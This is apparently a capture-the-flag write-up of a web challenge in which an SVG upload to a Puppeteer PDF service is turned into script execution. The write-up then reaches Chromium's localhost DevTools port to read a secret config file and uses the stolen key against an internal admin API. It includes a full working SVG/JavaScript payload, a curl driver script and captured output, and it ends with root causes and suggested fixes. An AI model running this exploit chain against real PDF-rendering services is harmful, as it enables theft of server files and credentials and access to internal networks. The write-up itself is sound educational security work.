Target: http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7220
Category: Web / SSRF / Headless Chromium
Flag: CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}
Recon
Nexus Reports is an Express + Puppeteer 21.11.0 service that turns a user-uploaded SVG logo + JSON metrics into a printable PDF.
Externally interesting endpoints:
| Endpoint | Notes |
|---|---|
GET / |
HTML form, comment leaks TODO: disable debug endpoints before public launch (/health) |
GET /health |
Reveals mounts and upstreams (see below) |
POST /upload-logo |
Multipart logo=<svg>; user identity from X-User-Id header |
POST /generate-report |
JSON {title, quarter, sales_data}; inlines uploaded SVG into HTML template |
GET /preview/:userId/:reportId |
Serves the rendered HTML briefly |
GET /download/:userId/:reportId |
Serves the PDF |
GET /api/svg-features |
Returns currentMode: "basic", lists upgrade endpoint |
POST /api/enable-advanced |
401 unless authorised |
/health is gold:
{
"mounts": {
"pdf_cache": "/tmp/pdf-cache/",
"upload_path": "/app/uploads/",
"chrome_profile": "/tmp/chrome-data/",
"admin_secret": "/etc/admin/ (ro)"
},
"upstreams": { "admin_api": "http://internal-admin:8080" },
"puppeteer_version": "21.11.0"
}
So we want either /etc/admin/... or the internal admin API behind it.
internal-admin (probed later via SSRF) advertises:
{
"endpoints": [
{"method":"GET","path":"/","auth":false},
{"method":"GET","path":"/health","auth":false},
{"method":"GET","path":"/api/flag","auth":true}
],
"authentication": {
"scheme": "Bearer",
"api_key_location": "/etc/admin/config.json"
}
}
So the flag is at internal-admin:8080/api/flag and the Bearer key is in /etc/admin/config.json.
Building blocks
1. SVG sanitizer surface
Uploaded SVGs are XML-parsed by a custom sanitizer. Errors leak the validator source:
"_debug":"validator code: if (tagName === \"foreignobject\") { if (!allowAdvanced) return err; return null; }"
Mapped allow/deny by sending one element at a time:
- Blocked:
<script>,<iframe>,<object>,<embed>,<use>,<animate>,<animateTransform>,<set>,<animateMotion>,<foreignObject>(without advanced mode), anyon*handler,javascript:URLs. - Allowed:
<image href="…">withfile://,http://,data:;<feImage>;<style>;<link>;<base>;<meta>;<a>(non-javascript:);<title>/<desc>/<metadata>; arbitrary unknown elements (the deny list is small).
The SVG is inlined verbatim into the report HTML, so anything that survives upload runs in the puppeteer page.
Quick confirmation that inline <style> inside the SVG applies to the whole document — the following payload makes STYLE_INJECTION_WORKS appear in the PDF:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<style>body::before{content:"STYLE_INJECTION_WORKS"!important;display:block;font-size:40px;color:blue}</style>
</svg>
2. ALB session stickiness matters
There are multiple backends. Uploaded files live on the local disk of one instance, so the /generate-report call must hit the same instance that received the upload. Grab AWSALB/AWSALBCORS cookies once and reuse them for the whole chain.
3. Unlocking <foreignObject>
GET /api/svg-features returns a response header X-Upgrade-Token: ae6ced5432f311f0c3390fda6189a534083fc505da4b8ec06c119bfb8c5027a8.
The trick is twofold: the token is only honoured as Authorization: Bearer … on POST /api/enable-advanced, and the resulting "advanced" state lives in per-process memory — you must reuse the ALB cookie so the subsequent POST /upload-logo lands on the same backend.
curl -c cj.txt "$BASE/api/svg-features" > /dev/null # grab AWSALB cookie
curl -c cj.txt -b cj.txt -X POST "$BASE/api/enable-advanced" \
-H "Authorization: Bearer $TOK" -H "X-User-Id: $UID"
curl -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
-F "logo=@payload.svg;type=image/svg+xml" "$BASE/upload-logo"
Now <foreignObject> is accepted. Even better: the sanitizer does not recurse into HTML children of <foreignObject>, so <script> works inside it:
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="800">
<foreignObject width="800" height="800">
<script xmlns="http://www.w3.org/1999/xhtml">document.title='PWN'</script>
</foreignObject>
</svg>
Confirmed by reading the generated PDF metadata: /Title (PWN). We have JavaScript execution inside Puppeteer.
4. What the puppeteer renderer can reach
location.href === 'about:blank', origin === 'null'. From this null origin:
fetch('file://…')→ blocked ("Failed to fetch")<iframe src="file://…">→ blocked<embed>/<object>tofile://→ blocked<img src="file://…">→ request goes through (broken-image icon)fetch('http://localhost:7220/…')→ works (same app)fetch('http://internal-admin:8080/…')→ works (internal network)
Crucially: http://localhost:9222/json/list returns Chrome DevTools Protocol target data — the headless chromium was started with --remote-debugging-port=9222 bound to localhost. Listing the targets:
[{
"id": "9754CDFB22B7264D7DDAF0533BE353AC",
"type": "page",
"url": "about:blank",
"title": "CDPX",
"webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/9754CDFB22B7264D7DDAF0533BE353AC"
}]
CDP gives us anything Chrome can do, including loading file:// URLs (CDP itself runs in the browser process, not in a sandboxed renderer).
5. The async/PDF timing problem
Puppeteer fires page.pdf() essentially right after the load event. Async fetches that haven't resolved don't make it into the PDF (_debug: "renderer: async ops may not complete before page close").
Two findings:
- Sync XHRs do delay the load event but block the event loop, so async WebSocket callbacks can't fire during them.
- Synchronous
<script src="…">tags also delayload, and the event loop does spin between them. Adding ~1000<script src="http://localhost:7220/health?d=N">tags gives ~1.5–2 s of "load-blocking with event loop ticks", which is enough for one CDP roundtrip.
Exploit
Full payload:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<style>
.myflag {
position: fixed !important;
top: 50px !important; left: 0 !important;
width: 100% !important; background: white !important;
z-index: 999999 !important; color: black !important;
padding: 5px !important; font-size: 10px !important;
line-height: 1.2 !important; white-space: pre-wrap !important;
word-break: break-all !important; font-family: monospace !important;
}
</style>
<foreignObject width="100" height="100"><body xmlns="http://www.w3.org/1999/xhtml">
<script>
var d = document.createElement('div');
d.className = 'myflag';
d.textContent = '...';
document.body.appendChild(d);
(async function () {
try {
// 1. Open /etc/admin/config.json in a new chromium target via CDP HTTP
var r = await fetch('http://localhost:9222/json/new?file:///etc/admin/config.json',
{method: 'PUT'});
var data = await r.json();
await new Promise(r => setTimeout(r, 700));
// 2. Attach to that target via the CDP WebSocket
var ws = new WebSocket(data.webSocketDebuggerUrl);
await new Promise(r => { ws.onopen = r; });
// 3. Read the file content with Runtime.evaluate
var cfgResp = await new Promise(r => {
ws.onmessage = e => r(e.data);
ws.send(JSON.stringify({
id: 1, method: 'Runtime.evaluate',
params: { expression: 'document.body.innerText', returnByValue: true }
}));
});
ws.close();
var cfg = JSON.parse(JSON.parse(cfgResp).result.result.value);
// 4. Call internal-admin with the extracted Bearer key
var fr = await fetch('http://internal-admin:8080/api/flag', {
headers: { 'Authorization': 'Bearer ' + cfg.admin_api_key }
});
var flag = JSON.parse(await fr.text()).flag;
d.textContent = flag + '|' + flag + '|' + flag; // duplicate for OCR safety
} catch (e) {
d.textContent = 'ERR: ' + e.message;
}
})();
</script>
<!-- 1000 sync scripts to delay the load event so the async chain above finishes -->
<script src="http://localhost:7220/health?d=1"></script>
<script src="http://localhost:7220/health?d=2"></script>
...
<script src="http://localhost:7220/health?d=1000"></script>
</body></foreignObject>
</svg>
Driver:
BASE="http://cddc2026-challs-alb-2050157501.ap-southeast-1.elb.amazonaws.com:7220"
TOK="ae6ced5432f311f0c3390fda6189a534083fc505da4b8ec06c119bfb8c5027a8"
UID="exploit_$RANDOM"
rm -f cj.txt
curl -s -c cj.txt "$BASE/api/svg-features" > /dev/null
curl -s -c cj.txt -b cj.txt -X POST "$BASE/api/enable-advanced" \
-H "Authorization: Bearer $TOK" -H "X-User-Id: $UID"
curl -s -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
-F "logo=@payload.svg;type=image/svg+xml" "$BASE/upload-logo"
RID=$(curl -s -c cj.txt -b cj.txt -X POST -H "X-User-Id: $UID" \
-H "Content-Type: application/json" "$BASE/generate-report" \
-d '{"title":"F","quarter":"Q1","sales_data":"{\"a\":1}"}' \
| sed -n 's/.*"reportId":"\([^"]*\)".*/\1/p')
sleep 15
curl -s -b cj.txt "$BASE/download/$UID/$RID" -o out.pdf
pdftotext out.pdf - | grep -oE 'CDDC2026\{[^}]+\}'
Output PDF text:
CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}|CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}|CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}
Flag
CDDC2026{h3adl3ss_chrom1um_cdp_pwn_v1a_svg_f0r3ignObj3ct}
Root causes
- Custom SVG sanitizer with chatty debug output. The
_debugfield handed us the validator source and the existence of an "advanced" mode. - In-process feature flag tied to a globally-leaked Bearer token. The token is in a response header on a 200, and toggling state with it is gated only by ALB stickiness.
- Sanitizer doesn't recurse into
<foreignObject>children. Once advanced mode is on, the<script>deny-list doesn't apply inside foreignObject, giving full XSS in the PDF render. --remote-debugging-port=9222exposed onlocalhostof the puppeteer container. Any JS in the rendered page (which is on the same host) gets browser-process privileges through CDP, bypassing the renderer sandbox'sfile://restrictions.- Sensitive material on the puppeteer container's filesystem (
/etc/admin/config.json), readable once you can drive CDP.
Suggested fixes
- Remove the
_debugfield; sanitizer errors should be opaque. - Replace per-process in-memory feature flags with a real authn/authz check on every upload; revoke the static
X-Upgrade-Tokendesign entirely. - Make the sanitizer recursive into HTML namespaces; don't treat
foreignObjectchildren as out-of-scope. - Launch Chromium with
--remote-debugging-pipe(or bind the debugging port to a unix socket / random non-loopback) so the renderer can't reach it; alternatively run with--disable-features=…or behind an auth layer. - Don't co-locate secret files on the same filesystem as the Chromium container; pull credentials from a secrets service the puppeteer pod can't reach.